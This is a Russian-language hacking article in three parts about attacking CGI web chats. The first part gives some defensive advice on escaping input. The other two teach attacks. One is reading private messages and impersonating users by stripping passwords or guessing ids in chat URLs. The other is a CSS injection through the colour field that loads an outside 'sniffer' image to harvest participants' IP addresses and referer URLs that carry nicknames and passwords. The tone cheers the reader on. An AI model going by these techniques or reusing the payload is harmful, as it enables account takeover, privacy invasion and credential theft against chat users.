div.main {margin-left: 20pt; margin-right: 20pt}Взлом и защита чатов.
Часть1
Многие
администраторы чатов забывают проверять свои творения на "вшивость".
В данной статье будут рассмотрены основные методы взлома, к которым
прибегают скучающие пользователи с драйвером hands.sys (2.0 or
compatible).
1. Первой и самой
главной ошибкой является разрешение пользователю вводить
метасимволы. Допустим, у вас сервер под управлением Unix-like
системы. Метасимволы Unix-shell: &;"*?<>`^{} и т.д.
Администратору следует поставить в скриптах изменение символов на
HTML-вариант. Например, символ "<" в HTML выглядит как
"<", """ как """ и т.д. Убирание скобок < и >
полезно двумя вещами: а) невозожностью вставки тегов и б) как
следствие, невозможность выполнения функций system, exec и т.д.
Следует заметить, что автозамену надо производить не только в поле
ввода сообщений, но и при вводе имени, пароля, цвета и т.д.
Например, взломщик может написать "<h1>хакер</h1>", что
должно показываться именно так, а не как "хакер" первым
заголовком.
2. Рассмотрим
другую ошибку: тег <font>. Юзер сохраняет главную страничку
чата на диск, изменяет form action="/cgi-bin/chat.cgi" на form
action="http://www.hackedsite.ru/cgi-bin/chat.cgi" и лезут в ту
часть HTML-файла, где ему даётся возможность выбора размера шрифта.
Пусть это будет 3 и 4. Взломщик изменяет циферку 3 на 10 и смотрит
чего там получилось. А получилось у него то, что его сообщения в три
раза крупнее, чем у других.
Другой пример:
выбор цвета. Допустим, вы разрешаете в своём чате выбор цветов.
Взломщик заменяет в файле
<option="#000000">Чёрный</option> на
<option="#FF0000">Мой цвет</option>. при входе в чат его
сообщения становятся красными, хотя красного цвета нет в выборе.
Казалось бы, что это не смертельно и ничего плохого здесь нет, но
взломщик может пойти дальше. Он заменяет <option="#FF0000">Мой
цвет</option> на <option="#FF0000 size=10">Мой
цвет</option>. При входе в чат его сообщения не только
красные, но и выводятся 10-ым шрифтом. Следовательно, администратору
нужно либо не давать возможность поставить пробел после цвета либо
поставить максимальный размер как "7". Так же, следует поставить
максмальный размер ника около 20.
Вот основные меры
предосторожности, которые должны предпринять администраторы.
P.S. Для тех, кто с
бронепоезда: от защиты до атаки один шаг :о).
Часть2
Сегодня Мы разберем
взлом чатов, использующих динамическую систему. Это, как правило,
чаты с системой приватов (от Private). Т.е. каждому пользователю
отсылается свои уникальные сообщения. В Вашей головке появилась
мысль: А почему это кто-то общается в привате, а я ничего не вижу?
"Гласность в массы! Долой цензуру! Бей буржуев!". Вот об этом и
пойдёт речь ниже.
1. Информацию о
пользователе можно найти прямо в location броузера. Например,
http://www.server.com/cgi-bin/chat/chat.cgi?
id=vasya&pass=SuPeRpAsSwOrD. Здесь можно видеть, что CGI-скрипт
берёт информацию по имени и паролю. Отрезаем этот URL до
http://www.server.com/cgi-bin/chat/chat.cgi?id=vasya. Скрипт может
быть простенький, без повторной проверки пароля. Следовательно, Вам
остаётся только узнать id того, чьи приваты вы хотите читать и от
какого имени Вы хотите писать.
2. Другое дело,
если id равен какому-нибудь большому числу, например,
http://www.server.com/cgi-bin/chat/ chat.cgi?id=3133766613. Вы,
конечно, можете подумать, что это такие номера аськи (от ICQ) выдают
или что-нибудь ещё, но это простое генерирование id в одну сессию.
Т.е. если Вы зайдёте в чат ещё раз, id будет другой. Тут надо узнать
id жертвы. Это очень трудно, надо или просканировать сервер или
узнать, как генерируется id (Как это не звучит тупо). Есть чаты, в
которых id соответсвует IP, только без точек. Или число формируется
с учётом прошлых пользователей. Т.е. Вы зашли под номером 111111, а
когда Вы зашли очередной раз, id сменился на 111112. У человека,
который зашёл перед Вами id равен 111110. Дойдя до определённого
числа, выделение id начинается с 0.
3. Бывает, что в
скрипте отправки сообщения можно менять информацию, но если набрать
другой id, то Вас просто не пустят в чат. Нужно подготовить файл
отправки сообщения, с изменением адреса скрипта. И при входе в чат
узнать свой id, и подставить его в файле. Затем можно запустить этот
файл в другом окне броузера и писать уже с него.
4. Иногда бывает,
если убрать id вовсе, например
http://www.server.com/cgi-bin/chat/chat.cgi Вы сможете читать все
сообщения всех пользователей и даже читать их ID, реже IP. Удачи
во взломе чатов.
Часть3
Что, дружок,
начитался рассказов, как вставлять в чаты картинки? Только вот после
ввода в чате <img src=megaporno.jpg> ничего не происходит, а
все присутствующие хором кричат в твою сторону "14m0"? Правильно,
теги в чатах оставляли в 80-х годах, теперь все по-другому. Но
нередко админы забывают про дырку с цветом. Сначала давай
разберемся, что же это за дырка такая. Когда ты выбираешь настройки
чата, обычно существует возможность выбора цвета. Сохраняем эту
страничку на диск и открываем ее Блокнотиком. Находим что-то вроде
этого: <FORM ACTION="/cgi-bin/chat.cgi"
METHOD="POST"> <input name="name"
type="text"> <select name="color"> <option
value="#FF0000">Красный</option> <option
value="#00FF00">Зеленый</option> </select> <input
name="submit"> </FORM> Изменяем строчку
ACTION="/cgi-bin/chat.cgi" на
ACTION="http://www.hackedsite.ru/cgi-bin/chat.cgi" и <option
value="#FF0000">Красный</option> на
<option="#0000FF">Синий</option>. Заходим в чат.
Пишем синим? Ага. Даже если не пишем, все равно. Теперь изменяем
строчку <option value="0000FF">Синий</option> на
<option value=#0000FF"
"style="height:1;font-size:1pt;background-image:
url('http://www.hackzone.ru/cgi-bin/sniff.cgi?xakep')">ХАК</option>. Я
смотрю, твои слабенькие ручки замучались писать. Училка в школе
заставляет, так еще тут? Остынь, я пока расскажу, что же мы
понаписали. " означает ставку кавычек. Кавычки нужны,
чтобы закрыть параметр <font color="#0000FF". Как видишь, тег не
закрыт, и мы можем в нем поковыряться. Ковыряйся, не ковыряйся, а
без CSS (Cascading Style Sheets) в теге font можно изменить только
параметры color-цвет, size-размер и face-тип шрифта. А вот CSS
позволяет многое. Итак, ты понял, что значит style=" -
начало CSS. Дальше идут параметры стилей: height:1; означает, что
максимальная высота слоя шрифта не более 1
пиксела. font-size:1pt; означает, что размер шрифта в слое 1-го
размера. background-image:
url('http://www.hackzone.ru/cgi-bin/sniff.cgi?xakep') означает то,
что фоновое изображение для слоя шрифта будет sniffer от
HACKZONE. После входа в чат, напиши что-нибудь. Никто ничего
не увидит, кроме маленьких точек. Все IP участников чата, а также
URL их страничек (нередко содержащих ник и пароль к нему), где был
показан твой sniffer будут лежать в логе http://www.hackzone.ru/files/snifflog.txt
. Теперь о формате лога. Каждая его строчка выглядит примерно
так: [Sat 0:00am] (xakep) 192.168.87.1
[http://www.hackedsite.ru/cgi-bin/messages.cgi?id=nuncuk] Расшифровка. [Sat
0:00am] - дата и время, когда была просмотрена
картинка-sniffer. (xakep) - id sniffer'а (берется из http://www.hackzone.ru/cgi-bin/sniff.cgi?xakep
). 192.168.87.1 - IP-адрес посмотревшего
картинку-sniffer. [http://www.hackedsite.ru/cgi-bin/messages.cgi?id=nuncuk]
- страничка, на которой был просмотрен sniffer. Все, теперь ты
настоящая боевая машина, способная узнать IP без тегов. Все
стандарты CSS можно почитать на http://www.w3.org/ . Спасибо за внимание,
все свободны.
Автор: S1Y_T00R
|